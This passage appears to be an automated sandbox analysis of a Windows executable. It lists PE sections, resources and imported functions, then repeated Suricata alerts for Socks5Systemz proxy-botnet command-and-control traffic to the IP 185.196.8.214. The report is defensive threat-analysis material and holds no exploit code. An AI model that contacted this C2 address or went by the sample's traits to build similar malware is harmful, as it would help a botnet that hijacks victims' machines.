.text	0x1000	0xbf47a	0xc0000	ca346667861df6b2b8a01aa27d61c608	False	0.8233019510904948	data	7.682929718305509	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc1000	0x1cc0	0x2000	a1f770ee0270e91c25cd44b10e9a2bad	False	0.3876953125	data	5.34936432257881	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc3000	0x5457	0x3000	c962bf27b956ddb95980c5e184d723a2	False	0.13248697916666666	data	1.4380877675781472	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc9000	0x191000	0x191000	640ee51cbbcaf9d34ea6376b456b4f8b	False	0.25674643956514964	data	4.384958485811935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.vhead9	0x25a000	0x128000	0x127efe	fe46afa6b359a8bd295e62a2d0d6effe	False	0.6063037986797101	data	6.122762154415233	IMAGE_SCN_TYPE_DSECT, IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SYSHEAP, IMAGE_SCN_MEM_LOCKED, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_128BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0xca5f0	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0xca7d8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xca9a8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0xcab78	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0xcad48	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0xcaf18	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0xcb0e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xcb2b8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0xcb488	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xcb658	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5208333333333334
RT_BITMAP	0xcb718	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42857142857142855
RT_BITMAP	0xcb7f8	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.4955357142857143
RT_BITMAP	0xcb8d8	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.38392857142857145
RT_BITMAP	0xcb9b8	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4947916666666667
RT_BITMAP	0xcba78	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.484375
RT_BITMAP	0xcbb38	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42410714285714285
RT_BITMAP	0xcbc18	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768, resolution 3780 x 3780 px/m	English	United States	0.14975247524752475
RT_BITMAP	0xcbf40	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5104166666666666
RT_BITMAP	0xcc000	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.5
RT_BITMAP	0xcc0e0	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_BITMAP	0xcc1c8	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768, resolution 3780 x 3780 px/m	English	United States	0.12995049504950495
RT_BITMAP	0xcc4f0	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4895833333333333
RT_BITMAP	0xcc5b0	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768, resolution 3780 x 3780 px/m	English	United States	0.12128712871287128
RT_BITMAP	0xcc8d8	0x230	Device independent bitmap graphic, 13 x 13 x 24, image size 520, resolution 3779 x 3779 px/m	English	United States	0.5678571428571428
RT_BITMAP	0xccb08	0x230	Device independent bitmap graphic, 13 x 13 x 24, image size 520, resolution 3779 x 3779 px/m	English	United States	0.5928571428571429
RT_BITMAP	0xccd38	0x230	Device independent bitmap graphic, 13 x 13 x 24, image size 520, resolution 3779 x 3779 px/m	English	United States	0.5392857142857143
RT_BITMAP	0xccf68	0x230	Device independent bitmap graphic, 13 x 13 x 24, image size 520	English	United States	0.29285714285714287
RT_BITMAP	0xcd198	0x230	Device independent bitmap graphic, 13 x 13 x 24, image size 520	English	United States	0.2732142857142857
RT_BITMAP	0xcd3c8	0x230	Device independent bitmap graphic, 13 x 13 x 24, image size 520	English	United States	0.2714285714285714
RT_BITMAP	0xcd5f8	0x230	Device independent bitmap graphic, 13 x 13 x 24, image size 520, resolution 3779 x 3779 px/m	English	United States	0.44642857142857145
RT_BITMAP	0xcd828	0x230	Device independent bitmap graphic, 13 x 13 x 24, image size 520, resolution 3779 x 3779 px/m	English	United States	0.4589285714285714
RT_ICON	0x1fe508	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.18506224066390042
RT_ICON	0xcda58	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.09274813675618124
RT_ICON	0xde280	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.15948275862068967
RT_ICON	0xe24a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.20269709543568465
RT_ICON	0xe4a50	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.18856703257685595
RT_ICON	0x126a78	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.41487985212569317
RT_ICON	0x12bf00	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.18439716312056736
RT_ICON	0x12c368	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3200	English	United States	0.10771604938271605
RT_ICON	0x12d010	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.12101313320825516
RT_ICON	0x12e0b8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	English	United States	0.11951219512195121
RT_ICON	0x12e720	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.21162046908315565
RT_ICON	0x12f5c8	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 7296	English	United States	0.0697928026172301
RT_ICON	0x131270	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.07510373443983402
RT_ICON	0x133818	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2560	English	United States	0.08821321321321321
RT_ICON	0x134280	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4608	English	United States	0.15179830747531736
RT_ICON	0x1358a8	0x3228	Device independent bitmap graphic, 64 x 128 x 24, image size 12800	English	United States	0.0515576323987539
RT_ICON	0x138ad0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States	0.05107463391591875
RT_ICON	0x13ccf8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States	0.008147994794747426
RT_ICON	0x14d520	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.38679840235442503
RT_ICON	0x1569c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.32563882645214715
RT_ICON	0x1671f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.27696998123827393
RT_ICON	0x168298	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.35778688524590163
RT_ICON	0x168c20	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.12588652482269502
RT_ICON	0x169088	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.5035460992907801
RT_ICON	0x1694f0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.5389784946236559
RT_ICON	0x1697d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5844594594594594
RT_ICON	0x169900	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6351279317697228
RT_ICON	0x16a7a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7558664259927798
RT_ICON	0x16b050	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.699468085106383
RT_ICON	0x16b4b8	0xeba5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0001989225031083
RT_ICON	0x17a060	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5098547717842323
RT_ICON	0x17c608	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5675422138836773
RT_ICON	0x17d6b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6914893617021277
RT_ICON	0x17db18	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.6322254335260116
RT_ICON	0x17e080	0x12786	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9997885108520369
RT_ICON	0x190808	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.48429551638471546
RT_ICON	0x1a1030	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.5631437881017448
RT_ICON	0x1aa4d8	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	United States	0.5571052631578948
RT_ICON	0x1b0cc0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.5760628465804066
RT_ICON	0x1b6148	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.5798299480396788
RT_ICON	0x1ba370	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.6322614107883817
RT_ICON	0x1bc918	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.675187617260788
RT_ICON	0x1bd9c0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.7340163934426229
RT_ICON	0x1be348	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.8093971631205674
RT_ICON	0x200ab0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.2448405253283302
RT_ICON	0x201b58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.3962765957446808
RT_ICON	0x201fc0	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.05638814095925674
RT_ICON	0x1be7b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 11811 x 11811 px/m	English	United States	0.11192946058091287
RT_ICON	0x1c0d58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 11811 x 11811 px/m	English	United States	0.1651031894934334
RT_ICON	0x1c1e00	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 11811 x 11811 px/m	English	United States	0.230327868852459
RT_ICON	0x1c2788	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 11811 x 11811 px/m	English	United States	0.3377659574468085
RT_ICON	0x243fe8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.30491803278688523
RT_ICON	0x1c2bf0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.32265342960288806
RT_ICON	0x1c3498	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.11254467101114148
RT_ICON	0x1cc940	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.08856323198864309
RT_ICON	0x1dd168	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3200	English	United States	0.11018518518518519
RT_ICON	0x1dde10	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.12171669793621014
RT_ICON	0x1deeb8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	English	United States	0.12012195121951219
RT_ICON	0x1df520	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.2126865671641791
RT_ICON	0x1e03c8	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 7296	English	United States	0.07061068702290077
RT_ICON	0x1e2070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.07738589211618258
RT_ICON	0x1e4618	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2560	English	United States	0.09121621621621621
RT_ICON	0x1e5080	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4608	English	United States	0.152327221438646
RT_ICON	0x1e66a8	0x3228	Device independent bitmap graphic, 64 x 128 x 24, image size 12800	English	United States	0.05163551401869159
RT_ICON	0x1e98d0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States	0.052550779404818136
RT_ICON	0x1edaf8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States	0.007896604755708032
RT_ICON	0x244970	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.14962210675484175
RT_ICON	0x248b98	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.08995327102803738
RT_DIALOG	0x1fe320	0x17c	data	English	United States	0.6157894736842106
RT_GROUP_ICON	0x1fe4a0	0x68	data	English	United States	0.75
RT_VERSION	0x2593c0	0x2f4	data	Chinese	China	0.43253968253968256
RT_MANIFEST	0x2596b8	0x15a	ASCII text, with CRLF line terminators	English	United States	0.5491329479768786

Imports

DLL	Import
WINMM.dll	mmioStringToFOURCCW, mmioSendMessage, mmioSetBuffer, mmioWrite, mmioSeek, mmioStringToFOURCCA, mmioSetInfo
IMM32.dll	ImmGetContext
KERNEL32.dll	FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCommandLineW, GetConsoleCP, GetConsoleMode, GetConsoleOutputCP, GetCPInfo, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetEnvironmentVariableW, GetFileAttributesW, GetFileTime, GetFileType, GetLastError, GetLocaleInfoA, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetOEMCP, GetPrivateProfileIntW, GetPrivateProfileSectionNamesW, GetPrivateProfileStringW, GetProcAddress, GetProcessHeap, GetStartupInfoA, GetStdHandle, GetStringTypeA, GetStringTypeW, GetSystemTimeAsFileTime, GetTempPathW, GetThreadPriority, GetTimeZoneInformation, GetVersionExA, GetVersionExW, GlobalAlloc, GlobalFree, GlobalHandle, GlobalLock, GlobalUnlock, HeapAlloc, HeapCreate, HeapDestroy, HeapFree, HeapReAlloc, HeapSize, InterlockedDecrement, InterlockedIncrement, IsValidCodePage, GetCommandLineA, LCMapStringW, LoadLibraryW, LoadResource, FreeEnvironmentStringsA, LocalFree, LockResource, lstrlenA, MoveFileExW, MultiByteToWideChar, OpenProcess, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReadFile, ReleaseMutex, RemoveDirectoryW, ResetEvent, SetEndOfFile, SetEnvironmentVariableA, SetEnvironmentVariableW, SetEvent, SetFileAttributesW, SetFilePointer, SetHandleCount, SetLastError, SetStdHandle, SetThreadPriority, SetUnhandledExceptionFilter, SizeofResource, Sleep, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, VirtualAlloc, VirtualFree, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WideCharToMultiByte, WriteConsoleA, WriteConsoleW, WriteFile, Process32FirstW, Process32NextW, GetEnvironmentStrings, GetCurrentProcess, ExitProcess, GetVersion, RtlUnwind, InitializeCriticalSection, EnterCriticalSection, GetTickCount, LeaveCriticalSection, LoadLibraryA, LocalAlloc, GetStartupInfoW, LCMapStringA, GetEnvironmentVariableA
USER32.dll	GetWindowRect, GetWindowTextW, GetWindowThreadProcessId, InsertMenuItemW, InsertMenuW, InvalidateRect, IsDialogMessageW, IsDlgButtonChecked, IsIconic, IsWindow, IsWindowVisible, IsZoomed, KillTimer, LoadCursorW, LoadIconW, LoadImageW, MapDialogRect, MapVirtualKeyW, MessageBoxW, MoveWindow, MsgWaitForMultipleObjects, PeekMessageW, PostMessageW, PostQuitMessage, RegisterClassW, ReleaseDC, RemovePropW, ScreenToClient, ScrollWindowEx, SendDlgItemMessageW, SendMessageW, SetActiveWindow, SetCursor, SetDlgItemInt, SetDlgItemTextW, SetFocus, SetMenuDefaultItem, GetWindowPlacement, SetPropW, SetScrollInfo, SetTimer, SetWindowLongW, SetWindowPlacement, SetWindowPos, SetWindowsHookExW, SetWindowTextW, ShowWindow, TrackPopupMenu, TranslateMessage, UnhookWindowsHookEx, UpdateWindow, WaitForInputIdle, WindowFromDC, wsprintfW, MessageBoxA, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollInfo, GetPropW, GetParent, GetMessageW, GetMenu, GetKeyState, GetKeyNameTextW, GetForegroundWindow, GetFocus, GetDlgItemTextW, GetDlgItemInt, GetDlgItem, GetDlgCtrlID, GetDesktopWindow, GetDC, GetCursor, GetWindowLongW, SetMenuItemInfoW, GetClientRect, GetClassNameA, FrameRect, FindWindowW, FillRect, GetWindowDC
comdlg32.dll	ChooseColorA, CommDlgExtendedError
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, OpenProcessToken, OpenThreadToken, RegCreateKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumKeyExW, RegEnumKeyW, RegOpenKeyExW, RegOpenKeyW, RegQueryValueExW, RegQueryValueW, RegSetValueExW, RegQueryValueExA
OLEAUT32.dll	VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-31T22:13:21.067707+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49720	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:38.485156+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49736	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:40.984852+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49739	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:12.426483+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49770	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:19.630560+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49778	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:23.068462+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49722	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:40.178639+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49738	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:47.651547+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49746	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:18.819460+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49777	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:00.588783+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49759	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:51.559222+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49749	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:39.346060+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49737	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:58.050877+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49756	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:57.213414+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49755	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:01.396169+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49760	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:31.215466+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49794	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:45.496154+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49744	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:43.819808+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49742	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:28.427710+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49728	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:25.567897+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49725	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:28.734686+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49789	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:34.049471+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49733	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:25.443187+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49785	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:36.033652+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49735	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:21.881623+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49721	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:30.488247+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49730	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:48.460032+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49747	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:44.674814+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49743	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:11.611904+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49769	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:54.739783+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49752	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:16.022052+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49774	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:34.861365+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49734	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:14.399313+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49772	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:21.317861+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49780	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:15.206583+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49773	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:24.727641+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49724	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:27.579978+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49727	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:10.786477+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49768	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:29.555951+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49790	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:58.929152+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49757	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:22.966280+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49782	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:27.230646+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49727	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:30.374754+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49791	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:04.923998+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49764	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:08.667951+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49766	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:31.303698+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49731	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:42.991483+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49741	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:29.245060+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49729	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:07.832793+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49764	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:45.845487+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49744	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:33.355540+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49733	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:38.142044+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49736	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:42.164915+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49740	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:33.704540+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49733	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:18.002525+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49776	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:26.270947+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49786	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:14.047189+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49772	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:13.239729+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49771	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:52.748597+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49750	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:53.914207+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49751	80	192.168.2.9	185.196.8.214
